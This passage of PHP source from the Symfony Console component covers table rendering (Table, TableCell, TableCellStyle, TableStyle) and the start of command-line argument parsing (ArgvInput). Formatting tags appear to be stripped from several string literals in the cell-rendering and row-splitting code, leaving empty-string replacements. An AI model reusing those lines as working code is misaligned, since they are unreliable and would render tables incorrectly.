self::initStyles(); } self::$styles[$name] = $style; } /** * Gets a style definition by name. * * @return TableStyle */ public static function getStyleDefinition(string $name) { if (!self::$styles) { self::$styles = self::initStyles(); } if (isset(self::$styles[$name])) { return self::$styles[$name]; } throw new InvalidArgumentException(sprintf('Style "%s" is not defined.', $name)); } /** * Sets table style. * * @param TableStyle|string $name The style name or a TableStyle instance * * @return $this */ public function setStyle($name) { $this->style = $this->resolveStyle($name); return $this; } /** * Gets the current table style. * * @return TableStyle */ public function getStyle() { return $this->style; } /** * Sets table column style. * * @param TableStyle|string $name The style name or a TableStyle instance * * @return $this */ public function setColumnStyle(int $columnIndex, $name) { $this->columnStyles[$columnIndex] = $this->resolveStyle($name); return $this; } /** * Gets the current style for a column. * * If style was not set, it returns the global table style. * * @return TableStyle */ public function getColumnStyle(int $columnIndex) { return $this->columnStyles[$columnIndex] ?? $this->getStyle(); } /** * Sets the minimum width of a column. * * @return $this */ public function setColumnWidth(int $columnIndex, int $width) { $this->columnWidths[$columnIndex] = $width; return $this; } /** * Sets the minimum width of all columns. * * @return $this */ public function setColumnWidths(array $widths) { $this->columnWidths = []; foreach ($widths as $index => $width) { $this->setColumnWidth($index, $width); } return $this; } /** * Sets the maximum width of a column. * * Any cell within this column which contents exceeds the specified width will be wrapped into multiple lines, while * formatted strings are preserved. * * @return $this */ public function setColumnMaxWidth(int $columnIndex, int $width): self { if (!$this->output->getFormatter() instanceof WrappableOutputFormatterInterface) { throw new \LogicException(sprintf('Setting a maximum column width is only supported when using a "%s" formatter, got "%s".', WrappableOutputFormatterInterface::class, get_debug_type($this->output->getFormatter()))); } $this->columnMaxWidths[$columnIndex] = $width; return $this; } /** * @return $this */ public function setHeaders(array $headers) { $headers = array_values($headers); if (!empty($headers) && !\is_array($headers[0])) { $headers = [$headers]; } $this->headers = $headers; return $this; } public function setRows(array $rows) { $this->rows = []; return $this->addRows($rows); } /** * @return $this */ public function addRows(array $rows) { foreach ($rows as $row) { $this->addRow($row); } return $this; } /** * @return $this */ public function addRow($row) { if ($row instanceof TableSeparator) { $this->rows[] = $row; return $this; } if (!\is_array($row)) { throw new InvalidArgumentException('A row must be an array or a TableSeparator instance.'); } $this->rows[] = array_values($row); return $this; } /** * Adds a row to the table, and re-renders the table. * * @return $this */ public function appendRow($row): self { if (!$this->output instanceof ConsoleSectionOutput) { throw new RuntimeException(sprintf('Output should be an instance of "%s" when calling "%s".', ConsoleSectionOutput::class, __METHOD__)); } if ($this->rendered) { $this->output->clear($this->calculateRowCount()); } $this->addRow($row); $this->render(); return $this; } /** * @return $this */ public function setRow($column, array $row) { $this->rows[$column] = $row; return $this; } /** * @return $this */ public function setHeaderTitle(?string $title): self { $this->headerTitle = $title; return $this; } /** * @return $this */ public function setFooterTitle(?string $title): self { $this->footerTitle = $title; return $this; } /** * @return $this */ public function setHorizontal(bool $horizontal = true): self { $this->horizontal = $horizontal; return $this; } /** * Renders table to output. * * Example: * * +---------------+-----------------------+------------------+ * | ISBN | Title | Author | * +---------------+-----------------------+------------------+ * | 99921-58-10-7 | Divine Comedy | Dante Alighieri | * | 9971-5-0210-0 | A Tale of Two Cities | Charles Dickens | * | 960-425-059-0 | The Lord of the Rings | J. R. R. Tolkien | * +---------------+-----------------------+------------------+ */ public function render() { $divider = new TableSeparator(); if ($this->horizontal) { $rows = []; foreach ($this->headers[0] ?? [] as $i => $header) { $rows[$i] = [$header]; foreach ($this->rows as $row) { if ($row instanceof TableSeparator) { continue; } if (isset($row[$i])) { $rows[$i][] = $row[$i]; } elseif ($rows[$i][0] instanceof TableCell && $rows[$i][0]->getColspan() >= 2) { // Noop, there is a "title" } else { $rows[$i][] = null; } } } } else { $rows = array_merge($this->headers, [$divider], $this->rows); } $this->calculateNumberOfColumns($rows); $rowGroups = $this->buildTableRows($rows); $this->calculateColumnsWidth($rowGroups); $isHeader = !$this->horizontal; $isFirstRow = $this->horizontal; $hasTitle = (bool) $this->headerTitle; foreach ($rowGroups as $rowGroup) { $isHeaderSeparatorRendered = false; foreach ($rowGroup as $row) { if ($divider === $row) { $isHeader = false; $isFirstRow = true; continue; } if ($row instanceof TableSeparator) { $this->renderRowSeparator(); continue; } if (!$row) { continue; } if ($isHeader && !$isHeaderSeparatorRendered) { $this->renderRowSeparator( $isHeader ? self::SEPARATOR_TOP : self::SEPARATOR_TOP_BOTTOM, $hasTitle ? $this->headerTitle : null, $hasTitle ? $this->style->getHeaderTitleFormat() : null ); $hasTitle = false; $isHeaderSeparatorRendered = true; } if ($isFirstRow) { $this->renderRowSeparator( $isHeader ? self::SEPARATOR_TOP : self::SEPARATOR_TOP_BOTTOM, $hasTitle ? $this->headerTitle : null, $hasTitle ? $this->style->getHeaderTitleFormat() : null ); $isFirstRow = false; $hasTitle = false; } if ($this->horizontal) { $this->renderRow($row, $this->style->getCellRowFormat(), $this->style->getCellHeaderFormat()); } else { $this->renderRow($row, $isHeader ? $this->style->getCellHeaderFormat() : $this->style->getCellRowFormat()); } } } $this->renderRowSeparator(self::SEPARATOR_BOTTOM, $this->footerTitle, $this->style->getFooterTitleFormat()); $this->cleanup(); $this->rendered = true; } /** * Renders horizontal header separator. * * Example: * * +-----+-----------+-------+ */ private function renderRowSeparator(int $type = self::SEPARATOR_MID, ?string $title = null, ?string $titleFormat = null) { if (0 === $count = $this->numberOfColumns) { return; } $borders = $this->style->getBorderChars(); if (!$borders[0] && !$borders[2] && !$this->style->getCrossingChar()) { return; } $crossings = $this->style->getCrossingChars(); if (self::SEPARATOR_MID === $type) { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[2], $crossings[8], $crossings[0], $crossings[4]]; } elseif (self::SEPARATOR_TOP === $type) { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[0], $crossings[1], $crossings[2], $crossings[3]]; } elseif (self::SEPARATOR_TOP_BOTTOM === $type) { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[0], $crossings[9], $crossings[10], $crossings[11]]; } else { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[0], $crossings[7], $crossings[6], $crossings[5]]; } $markup = $leftChar; for ($column = 0; $column < $count; ++$column) { $markup .= str_repeat($horizontal, $this->effectiveColumnWidths[$column]); $markup .= $column === $count - 1 ? $rightChar : $midChar; } if (null !== $title) { $titleLength = Helper::width(Helper::removeDecoration($formatter = $this->output->getFormatter(), $formattedTitle = sprintf($titleFormat, $title))); $markupLength = Helper::width($markup); if ($titleLength > $limit = $markupLength - 4) { $titleLength = $limit; $formatLength = Helper::width(Helper::removeDecoration($formatter, sprintf($titleFormat, ''))); $formattedTitle = sprintf($titleFormat, Helper::substr($title, 0, $limit - $formatLength - 3).'...'); } $titleStart = intdiv($markupLength - $titleLength, 2); if (false === mb_detect_encoding($markup, null, true)) { $markup = substr_replace($markup, $formattedTitle, $titleStart, $titleLength); } else { $markup = mb_substr($markup, 0, $titleStart).$formattedTitle.mb_substr($markup, $titleStart + $titleLength); } } $this->output->writeln(sprintf($this->style->getBorderFormat(), $markup)); } /** * Renders vertical column separator. */ private function renderColumnSeparator(int $type = self::BORDER_OUTSIDE): string { $borders = $this->style->getBorderChars(); return sprintf($this->style->getBorderFormat(), self::BORDER_OUTSIDE === $type ? $borders[1] : $borders[3]); } /** * Renders table row. * * Example: * * | 9971-5-0210-0 | A Tale of Two Cities | Charles Dickens | */ private function renderRow(array $row, string $cellFormat, ?string $firstCellFormat = null) { $rowContent = $this->renderColumnSeparator(self::BORDER_OUTSIDE); $columns = $this->getRowColumns($row); $last = \count($columns) - 1; foreach ($columns as $i => $column) { if ($firstCellFormat && 0 === $i) { $rowContent .= $this->renderCell($row, $column, $firstCellFormat); } else { $rowContent .= $this->renderCell($row, $column, $cellFormat); } $rowContent .= $this->renderColumnSeparator($last === $i ? self::BORDER_OUTSIDE : self::BORDER_INSIDE); } $this->output->writeln($rowContent); } /** * Renders table cell with padding. */ private function renderCell(array $row, int $column, string $cellFormat): string { $cell = $row[$column] ?? ''; $width = $this->effectiveColumnWidths[$column]; if ($cell instanceof TableCell && $cell->getColspan() > 1) { // add the width of the following columns(numbers of colspan). foreach (range($column + 1, $column + $cell->getColspan() - 1) as $nextColumn) { $width += $this->getColumnSeparatorWidth() + $this->effectiveColumnWidths[$nextColumn]; } } // str_pad won't work properly with multi-byte strings, we need to fix the padding if (false !== $encoding = mb_detect_encoding($cell, null, true)) { $width += \strlen($cell) - mb_strwidth($cell, $encoding); } $style = $this->getColumnStyle($column); if ($cell instanceof TableSeparator) { return sprintf($style->getBorderFormat(), str_repeat($style->getBorderChars()[2], $width)); } $width += Helper::length($cell) - Helper::length(Helper::removeDecoration($this->output->getFormatter(), $cell)); $content = sprintf($style->getCellRowContentFormat(), $cell); $padType = $style->getPadType(); if ($cell instanceof TableCell && $cell->getStyle() instanceof TableCellStyle) { $isNotStyledByTag = !preg_match('/^<(\w+|(\w+=[\w,]+;?)*)>.+<\/(\w+|(\w+=\w+;?)*)?>$/', $cell); if ($isNotStyledByTag) { $cellFormat = $cell->getStyle()->getCellFormat(); if (!\is_string($cellFormat)) { $tag = http_build_query($cell->getStyle()->getTagOptions(), '', ';'); $cellFormat = '<'.$tag.'>%s'; } if (strstr($content, '')) { $content = str_replace('', '', $content); $width -= 3; } if (strstr($content, '')) { $content = str_replace('', '', $content); $width -= \strlen(''); } } $padType = $cell->getStyle()->getPadByAlign(); } return sprintf($cellFormat, str_pad($content, $width, $style->getPaddingChar(), $padType)); } /** * Calculate number of columns for this table. */ private function calculateNumberOfColumns(array $rows) { $columns = [0]; foreach ($rows as $row) { if ($row instanceof TableSeparator) { continue; } $columns[] = $this->getNumberOfColumns($row); } $this->numberOfColumns = max($columns); } private function buildTableRows(array $rows): TableRows { /** @var WrappableOutputFormatterInterface $formatter */ $formatter = $this->output->getFormatter(); $unmergedRows = []; for ($rowKey = 0; $rowKey < \count($rows); ++$rowKey) { $rows = $this->fillNextRows($rows, $rowKey); // Remove any new line breaks and replace it with a new line foreach ($rows[$rowKey] as $column => $cell) { $colspan = $cell instanceof TableCell ? $cell->getColspan() : 1; if (isset($this->columnMaxWidths[$column]) && Helper::width(Helper::removeDecoration($formatter, $cell)) > $this->columnMaxWidths[$column]) { $cell = $formatter->formatAndWrap($cell, $this->columnMaxWidths[$column] * $colspan); } if (!strstr($cell ?? '', "\n")) { continue; } $eol = str_contains($cell ?? '', "\r\n") ? "\r\n" : "\n"; $escaped = implode($eol, array_map([OutputFormatter::class, 'escapeTrailingBackslash'], explode($eol, $cell))); $cell = $cell instanceof TableCell ? new TableCell($escaped, ['colspan' => $cell->getColspan()]) : $escaped; $lines = explode($eol, str_replace($eol, ''.$eol, $cell)); foreach ($lines as $lineKey => $line) { if ($colspan > 1) { $line = new TableCell($line, ['colspan' => $colspan]); } if (0 === $lineKey) { $rows[$rowKey][$column] = $line; } else { if (!\array_key_exists($rowKey, $unmergedRows) || !\array_key_exists($lineKey, $unmergedRows[$rowKey])) { $unmergedRows[$rowKey][$lineKey] = $this->copyRow($rows, $rowKey); } $unmergedRows[$rowKey][$lineKey][$column] = $line; } } } } return new TableRows(function () use ($rows, $unmergedRows): \Traversable { foreach ($rows as $rowKey => $row) { $rowGroup = [$row instanceof TableSeparator ? $row : $this->fillCells($row)]; if (isset($unmergedRows[$rowKey])) { foreach ($unmergedRows[$rowKey] as $row) { $rowGroup[] = $row instanceof TableSeparator ? $row : $this->fillCells($row); } } yield $rowGroup; } }); } private function calculateRowCount(): int { $numberOfRows = \count(iterator_to_array($this->buildTableRows(array_merge($this->headers, [new TableSeparator()], $this->rows)))); if ($this->headers) { ++$numberOfRows; // Add row for header separator } if (\count($this->rows) > 0) { ++$numberOfRows; // Add row for footer separator } return $numberOfRows; } /** * fill rows that contains rowspan > 1. * * @throws InvalidArgumentException */ private function fillNextRows(array $rows, int $line): array { $unmergedRows = []; foreach ($rows[$line] as $column => $cell) { if (null !== $cell && !$cell instanceof TableCell && !\is_scalar($cell) && !(\is_object($cell) && method_exists($cell, '__toString'))) { throw new InvalidArgumentException(sprintf('A cell must be a TableCell, a scalar or an object implementing "__toString()", "%s" given.', get_debug_type($cell))); } if ($cell instanceof TableCell && $cell->getRowspan() > 1) { $nbLines = $cell->getRowspan() - 1; $lines = [$cell]; if (strstr($cell, "\n")) { $eol = str_contains($cell, "\r\n") ? "\r\n" : "\n"; $lines = explode($eol, str_replace($eol, ''.$eol.'', $cell)); $nbLines = \count($lines) > $nbLines ? substr_count($cell, $eol) : $nbLines; $rows[$line][$column] = new TableCell($lines[0], ['colspan' => $cell->getColspan(), 'style' => $cell->getStyle()]); unset($lines[0]); } // create a two dimensional array (rowspan x colspan) $unmergedRows = array_replace_recursive(array_fill($line + 1, $nbLines, []), $unmergedRows); foreach ($unmergedRows as $unmergedRowKey => $unmergedRow) { $value = $lines[$unmergedRowKey - $line] ?? ''; $unmergedRows[$unmergedRowKey][$column] = new TableCell($value, ['colspan' => $cell->getColspan(), 'style' => $cell->getStyle()]); if ($nbLines === $unmergedRowKey - $line) { break; } } } } foreach ($unmergedRows as $unmergedRowKey => $unmergedRow) { // we need to know if $unmergedRow will be merged or inserted into $rows if (isset($rows[$unmergedRowKey]) && \is_array($rows[$unmergedRowKey]) && ($this->getNumberOfColumns($rows[$unmergedRowKey]) + $this->getNumberOfColumns($unmergedRows[$unmergedRowKey]) <= $this->numberOfColumns)) { foreach ($unmergedRow as $cellKey => $cell) { // insert cell into row at cellKey position array_splice($rows[$unmergedRowKey], $cellKey, 0, [$cell]); } } else { $row = $this->copyRow($rows, $unmergedRowKey - 1); foreach ($unmergedRow as $column => $cell) { if (!empty($cell)) { $row[$column] = $unmergedRow[$column]; } } array_splice($rows, $unmergedRowKey, 0, [$row]); } } return $rows; } /** * fill cells for a row that contains colspan > 1. */ private function fillCells(iterable $row) { $newRow = []; foreach ($row as $column => $cell) { $newRow[] = $cell; if ($cell instanceof TableCell && $cell->getColspan() > 1) { foreach (range($column + 1, $column + $cell->getColspan() - 1) as $position) { // insert empty value at column position $newRow[] = ''; } } } return $newRow ?: $row; } private function copyRow(array $rows, int $line): array { $row = $rows[$line]; foreach ($row as $cellKey => $cellValue) { $row[$cellKey] = ''; if ($cellValue instanceof TableCell) { $row[$cellKey] = new TableCell('', ['colspan' => $cellValue->getColspan()]); } } return $row; } /** * Gets number of columns by row. */ private function getNumberOfColumns(array $row): int { $columns = \count($row); foreach ($row as $column) { $columns += $column instanceof TableCell ? ($column->getColspan() - 1) : 0; } return $columns; } /** * Gets list of columns for the given row. */ private function getRowColumns(array $row): array { $columns = range(0, $this->numberOfColumns - 1); foreach ($row as $cellKey => $cell) { if ($cell instanceof TableCell && $cell->getColspan() > 1) { // exclude grouped columns. $columns = array_diff($columns, range($cellKey + 1, $cellKey + $cell->getColspan() - 1)); } } return $columns; } /** * Calculates columns widths. */ private function calculateColumnsWidth(iterable $groups) { for ($column = 0; $column < $this->numberOfColumns; ++$column) { $lengths = []; foreach ($groups as $group) { foreach ($group as $row) { if ($row instanceof TableSeparator) { continue; } foreach ($row as $i => $cell) { if ($cell instanceof TableCell) { $textContent = Helper::removeDecoration($this->output->getFormatter(), $cell); $textLength = Helper::width($textContent); if ($textLength > 0) { $contentColumns = mb_str_split($textContent, ceil($textLength / $cell->getColspan())); foreach ($contentColumns as $position => $content) { $row[$i + $position] = $content; } } } } $lengths[] = $this->getCellWidth($row, $column); } } $this->effectiveColumnWidths[$column] = max($lengths) + Helper::width($this->style->getCellRowContentFormat()) - 2; } } private function getColumnSeparatorWidth(): int { return Helper::width(sprintf($this->style->getBorderFormat(), $this->style->getBorderChars()[3])); } private function getCellWidth(array $row, int $column): int { $cellWidth = 0; if (isset($row[$column])) { $cell = $row[$column]; $cellWidth = Helper::width(Helper::removeDecoration($this->output->getFormatter(), $cell)); } $columnWidth = $this->columnWidths[$column] ?? 0; $cellWidth = max($cellWidth, $columnWidth); return isset($this->columnMaxWidths[$column]) ? min($this->columnMaxWidths[$column], $cellWidth) : $cellWidth; } /** * Called after rendering to cleanup cache data. */ private function cleanup() { $this->effectiveColumnWidths = []; $this->numberOfColumns = null; } /** * @return array */ private static function initStyles(): array { $borderless = new TableStyle(); $borderless ->setHorizontalBorderChars('=') ->setVerticalBorderChars(' ') ->setDefaultCrossingChar(' ') ; $compact = new TableStyle(); $compact ->setHorizontalBorderChars('') ->setVerticalBorderChars('') ->setDefaultCrossingChar('') ->setCellRowContentFormat('%s ') ; $styleGuide = new TableStyle(); $styleGuide ->setHorizontalBorderChars('-') ->setVerticalBorderChars(' ') ->setDefaultCrossingChar(' ') ->setCellHeaderFormat('%s') ; $box = (new TableStyle()) ->setHorizontalBorderChars('─') ->setVerticalBorderChars('│') ->setCrossingChars('┼', '┌', '┬', '┐', '┤', '┘', '┴', '└', '├') ; $boxDouble = (new TableStyle()) ->setHorizontalBorderChars('═', '─') ->setVerticalBorderChars('║', '│') ->setCrossingChars('┼', '╔', '╤', '╗', '╢', '╝', '╧', '╚', '╟', '╠', '╪', '╣') ; return [ 'default' => new TableStyle(), 'borderless' => $borderless, 'compact' => $compact, 'symfony-style-guide' => $styleGuide, 'box' => $box, 'box-double' => $boxDouble, ]; } private function resolveStyle($name): TableStyle { if ($name instanceof TableStyle) { return $name; } if (isset(self::$styles[$name])) { return self::$styles[$name]; } throw new InvalidArgumentException(sprintf('Style "%s" is not defined.', $name)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * @author Abdellatif Ait boudad */ class TableCell { private $value; private $options = [ 'rowspan' => 1, 'colspan' => 1, 'style' => null, ]; public function __construct(string $value = '', array $options = []) { $this->value = $value; // check option names if ($diff = array_diff(array_keys($options), array_keys($this->options))) { throw new InvalidArgumentException(sprintf('The TableCell does not support the following options: \'%s\'.', implode('\', \'', $diff))); } if (isset($options['style']) && !$options['style'] instanceof TableCellStyle) { throw new InvalidArgumentException('The style option must be an instance of "TableCellStyle".'); } $this->options = array_merge($this->options, $options); } /** * Returns the cell value. * * @return string */ public function __toString() { return $this->value; } /** * Gets number of colspan. * * @return int */ public function getColspan() { return (int) $this->options['colspan']; } /** * Gets number of rowspan. * * @return int */ public function getRowspan() { return (int) $this->options['rowspan']; } public function getStyle(): ?TableCellStyle { return $this->options['style']; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * @author Yewhen Khoptynskyi */ class TableCellStyle { public const DEFAULT_ALIGN = 'left'; private const TAG_OPTIONS = [ 'fg', 'bg', 'options', ]; private const ALIGN_MAP = [ 'left' => \STR_PAD_RIGHT, 'center' => \STR_PAD_BOTH, 'right' => \STR_PAD_LEFT, ]; private $options = [ 'fg' => 'default', 'bg' => 'default', 'options' => null, 'align' => self::DEFAULT_ALIGN, 'cellFormat' => null, ]; public function __construct(array $options = []) { if ($diff = array_diff(array_keys($options), array_keys($this->options))) { throw new InvalidArgumentException(sprintf('The TableCellStyle does not support the following options: \'%s\'.', implode('\', \'', $diff))); } if (isset($options['align']) && !\array_key_exists($options['align'], self::ALIGN_MAP)) { throw new InvalidArgumentException(sprintf('Wrong align value. Value must be following: \'%s\'.', implode('\', \'', array_keys(self::ALIGN_MAP)))); } $this->options = array_merge($this->options, $options); } public function getOptions(): array { return $this->options; } /** * Gets options we need for tag for example fg, bg. * * @return string[] */ public function getTagOptions() { return array_filter( $this->getOptions(), function ($key) { return \in_array($key, self::TAG_OPTIONS) && isset($this->options[$key]); }, \ARRAY_FILTER_USE_KEY ); } /** * @return int */ public function getPadByAlign() { return self::ALIGN_MAP[$this->getOptions()['align']]; } public function getCellFormat(): ?string { return $this->getOptions()['cellFormat']; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * @internal */ class TableRows implements \IteratorAggregate { private $generator; public function __construct(\Closure $generator) { $this->generator = $generator; } public function getIterator(): \Traversable { return ($this->generator)(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * Marks a row as being a separator. * * @author Fabien Potencier */ class TableSeparator extends TableCell { public function __construct(array $options = []) { parent::__construct('', $options); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Defines the styles for a Table. * * @author Fabien Potencier * @author Саша Стаменковић * @author Dany Maillard */ class TableStyle { private $paddingChar = ' '; private $horizontalOutsideBorderChar = '-'; private $horizontalInsideBorderChar = '-'; private $verticalOutsideBorderChar = '|'; private $verticalInsideBorderChar = '|'; private $crossingChar = '+'; private $crossingTopRightChar = '+'; private $crossingTopMidChar = '+'; private $crossingTopLeftChar = '+'; private $crossingMidRightChar = '+'; private $crossingBottomRightChar = '+'; private $crossingBottomMidChar = '+'; private $crossingBottomLeftChar = '+'; private $crossingMidLeftChar = '+'; private $crossingTopLeftBottomChar = '+'; private $crossingTopMidBottomChar = '+'; private $crossingTopRightBottomChar = '+'; private $headerTitleFormat = ' %s '; private $footerTitleFormat = ' %s '; private $cellHeaderFormat = '%s'; private $cellRowFormat = '%s'; private $cellRowContentFormat = ' %s '; private $borderFormat = '%s'; private $padType = \STR_PAD_RIGHT; /** * Sets padding character, used for cell padding. * * @return $this */ public function setPaddingChar(string $paddingChar) { if (!$paddingChar) { throw new LogicException('The padding char must not be empty.'); } $this->paddingChar = $paddingChar; return $this; } /** * Gets padding character, used for cell padding. * * @return string */ public function getPaddingChar() { return $this->paddingChar; } /** * Sets horizontal border characters. * * * ╔═══════════════╤══════════════════════════╤══════════════════╗ * 1 ISBN 2 Title │ Author ║ * ╠═══════════════╪══════════════════════════╪══════════════════╣ * ║ 99921-58-10-7 │ Divine Comedy │ Dante Alighieri ║ * ║ 9971-5-0210-0 │ A Tale of Two Cities │ Charles Dickens ║ * ║ 960-425-059-0 │ The Lord of the Rings │ J. R. R. Tolkien ║ * ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie ║ * ╚═══════════════╧══════════════════════════╧══════════════════╝ * * * @return $this */ public function setHorizontalBorderChars(string $outside, ?string $inside = null): self { $this->horizontalOutsideBorderChar = $outside; $this->horizontalInsideBorderChar = $inside ?? $outside; return $this; } /** * Sets vertical border characters. * * * ╔═══════════════╤══════════════════════════╤══════════════════╗ * ║ ISBN │ Title │ Author ║ * ╠═══════1═══════╪══════════════════════════╪══════════════════╣ * ║ 99921-58-10-7 │ Divine Comedy │ Dante Alighieri ║ * ║ 9971-5-0210-0 │ A Tale of Two Cities │ Charles Dickens ║ * ╟───────2───────┼──────────────────────────┼──────────────────╢ * ║ 960-425-059-0 │ The Lord of the Rings │ J. R. R. Tolkien ║ * ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie ║ * ╚═══════════════╧══════════════════════════╧══════════════════╝ * * * @return $this */ public function setVerticalBorderChars(string $outside, ?string $inside = null): self { $this->verticalOutsideBorderChar = $outside; $this->verticalInsideBorderChar = $inside ?? $outside; return $this; } /** * Gets border characters. * * @internal */ public function getBorderChars(): array { return [ $this->horizontalOutsideBorderChar, $this->verticalOutsideBorderChar, $this->horizontalInsideBorderChar, $this->verticalInsideBorderChar, ]; } /** * Sets crossing characters. * * Example: * * 1═══════════════2══════════════════════════2══════════════════3 * ║ ISBN │ Title │ Author ║ * 8'══════════════0'═════════════════════════0'═════════════════4' * ║ 99921-58-10-7 │ Divine Comedy │ Dante Alighieri ║ * ║ 9971-5-0210-0 │ A Tale of Two Cities │ Charles Dickens ║ * 8───────────────0──────────────────────────0──────────────────4 * ║ 960-425-059-0 │ The Lord of the Rings │ J. R. R. Tolkien ║ * ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie ║ * 7═══════════════6══════════════════════════6══════════════════5 * * * @param string $cross Crossing char (see #0 of example) * @param string $topLeft Top left char (see #1 of example) * @param string $topMid Top mid char (see #2 of example) * @param string $topRight Top right char (see #3 of example) * @param string $midRight Mid right char (see #4 of example) * @param string $bottomRight Bottom right char (see #5 of example) * @param string $bottomMid Bottom mid char (see #6 of example) * @param string $bottomLeft Bottom left char (see #7 of example) * @param string $midLeft Mid left char (see #8 of example) * @param string|null $topLeftBottom Top left bottom char (see #8' of example), equals to $midLeft if null * @param string|null $topMidBottom Top mid bottom char (see #0' of example), equals to $cross if null * @param string|null $topRightBottom Top right bottom char (see #4' of example), equals to $midRight if null * * @return $this */ public function setCrossingChars(string $cross, string $topLeft, string $topMid, string $topRight, string $midRight, string $bottomRight, string $bottomMid, string $bottomLeft, string $midLeft, ?string $topLeftBottom = null, ?string $topMidBottom = null, ?string $topRightBottom = null): self { $this->crossingChar = $cross; $this->crossingTopLeftChar = $topLeft; $this->crossingTopMidChar = $topMid; $this->crossingTopRightChar = $topRight; $this->crossingMidRightChar = $midRight; $this->crossingBottomRightChar = $bottomRight; $this->crossingBottomMidChar = $bottomMid; $this->crossingBottomLeftChar = $bottomLeft; $this->crossingMidLeftChar = $midLeft; $this->crossingTopLeftBottomChar = $topLeftBottom ?? $midLeft; $this->crossingTopMidBottomChar = $topMidBottom ?? $cross; $this->crossingTopRightBottomChar = $topRightBottom ?? $midRight; return $this; } /** * Sets default crossing character used for each cross. * * @see {@link setCrossingChars()} for setting each crossing individually. */ public function setDefaultCrossingChar(string $char): self { return $this->setCrossingChars($char, $char, $char, $char, $char, $char, $char, $char, $char); } /** * Gets crossing character. * * @return string */ public function getCrossingChar() { return $this->crossingChar; } /** * Gets crossing characters. * * @internal */ public function getCrossingChars(): array { return [ $this->crossingChar, $this->crossingTopLeftChar, $this->crossingTopMidChar, $this->crossingTopRightChar, $this->crossingMidRightChar, $this->crossingBottomRightChar, $this->crossingBottomMidChar, $this->crossingBottomLeftChar, $this->crossingMidLeftChar, $this->crossingTopLeftBottomChar, $this->crossingTopMidBottomChar, $this->crossingTopRightBottomChar, ]; } /** * Sets header cell format. * * @return $this */ public function setCellHeaderFormat(string $cellHeaderFormat) { $this->cellHeaderFormat = $cellHeaderFormat; return $this; } /** * Gets header cell format. * * @return string */ public function getCellHeaderFormat() { return $this->cellHeaderFormat; } /** * Sets row cell format. * * @return $this */ public function setCellRowFormat(string $cellRowFormat) { $this->cellRowFormat = $cellRowFormat; return $this; } /** * Gets row cell format. * * @return string */ public function getCellRowFormat() { return $this->cellRowFormat; } /** * Sets row cell content format. * * @return $this */ public function setCellRowContentFormat(string $cellRowContentFormat) { $this->cellRowContentFormat = $cellRowContentFormat; return $this; } /** * Gets row cell content format. * * @return string */ public function getCellRowContentFormat() { return $this->cellRowContentFormat; } /** * Sets table border format. * * @return $this */ public function setBorderFormat(string $borderFormat) { $this->borderFormat = $borderFormat; return $this; } /** * Gets table border format. * * @return string */ public function getBorderFormat() { return $this->borderFormat; } /** * Sets cell padding type. * * @return $this */ public function setPadType(int $padType) { if (!\in_array($padType, [\STR_PAD_LEFT, \STR_PAD_RIGHT, \STR_PAD_BOTH], true)) { throw new InvalidArgumentException('Invalid padding type. Expected one of (STR_PAD_LEFT, STR_PAD_RIGHT, STR_PAD_BOTH).'); } $this->padType = $padType; return $this; } /** * Gets cell padding type. * * @return int */ public function getPadType() { return $this->padType; } public function getHeaderTitleFormat(): string { return $this->headerTitleFormat; } /** * @return $this */ public function setHeaderTitleFormat(string $format): self { $this->headerTitleFormat = $format; return $this; } public function getFooterTitleFormat(): string { return $this->footerTitleFormat; } /** * @return $this */ public function setFooterTitleFormat(string $format): self { $this->footerTitleFormat = $format; return $this; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\RuntimeException; /** * ArgvInput represents an input coming from the CLI arguments. * * Usage: * * $input = new ArgvInput(); * * By default, the `$_SERVER['argv']` array is used for the input values. * * This can be overridden by explicitly passing the input values in the constructor: * * $input = new ArgvInput($_SERVER['argv']); * * If you pass it yourself, don't forget that the first element of the array * is the name of the running application. * * When passing an argument to the constructor, be sure that it respects * the same rules as the argv one. It's almost always better to use the * `StringInput` when you want to provide your own input. * * @author Fabien Potencier * * @see http://www.gnu.org/software/libc/manual/html_node/Argument-Syntax.html * @see http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap12.html#tag_12_02 */ class ArgvInput extends Input { private $tokens; private $parsed; public function __construct(?array $argv = null, ?InputDefinition $definition = null) { $argv = $argv ?? $_SERVER['argv'] ?? []; // strip the application name array_shift($argv); $this->tokens = $argv; parent::__construct($definition); } protected function setTokens(array $tokens) { $this->tokens = $tokens; } /** * {@inheritdoc} */ protected function parse() { $parseOptions = true; $this->parsed = $this->tokens; while (null !== $token = array_shift($this->parsed)) { $parseOptions = $this->parseToken($token, $parseOptions); } } protected function parseToken(string $token, bool $parseOptions): bool { if ($parseOptions && '' == $token) { $this->parseArgument($token); } elseif ($parseOptions && '--' == $token) { return false; } elseif ($parseOptions && str_starts_with($token, '--')) { $this->parseLongOption($token); } elseif ($parseOptions && '-' === $token[0] && '-' !== $token) { $this->parseShortOption($token); } else { $this->parseArgument($token); } return $parseOptions; } /** * Parses a short option. */ private function parseShortOption(string $token) { $name = substr($token, 1); if (\strlen($name) > 1) { if ($this->definition->hasShortcut($name[0]) && $this->definition->getOptionForShortcut($name[0])->acceptValue()) { // an option with a value (with no space) $this->addShortOption($name[0], substr($name, 1)); } else { $this->parseShortOptionSet($name); } } else { $this->addShortOption($name, null); } } /** * Parses a short option set. * * @throws RuntimeException When option given doesn't exist */ private function parseShortOptionSet(string $name) { $len = \strlen($name); for ($i = 0; $i < $len; ++$i) { if 